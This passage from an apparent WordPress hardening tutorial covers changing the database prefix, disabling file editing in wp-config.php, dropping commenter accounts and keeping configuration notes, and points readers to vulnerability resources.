file to prevent well-behaved crawlers from trying to index feeds, admin pages, includes, etc.Miscellaneous:
wp_
.test
database.wp-config.php
:define('DISALLOW_FILE_EDIT', true);
Note that changing the database prefix won't stop the exploit we demonstrated today: the Metasploit exploit module determines the database table first before creating the new administrator user. However, changing the database prefix will stop other attacks and so is still worth doing.
Turning on DISALLOW_FILE_EDIT may be a little paranoid.
Not using WordPress accounts for commenters removes a large trove of what are very probably horribly weak passwords associated with email addresses.
Keeping good notes serves several purposes: first, you'll have a record of how things are supposed to be, so you'll be able to tell if an attacker changed something; second, you'll be able to set up a new site with the same settings if needed without worrying if you got everything correct; third, it forces you to be more aware of the choices you've made and you'll have a clearer understanding of the big picture for your site.
The following sites are useful for finding information about WordPress vulnerabilities and exploits:
If you want to know about vulnerabilities and how attackers exploit them, the OWASP Top 10 list (above) is a good place to start.
Also of interest for advanced readers is the analysis of the PHP object serialization vulnerability that was one of the major vulnerabilities fixed in the September 2013 release of WordPress 3.6.1: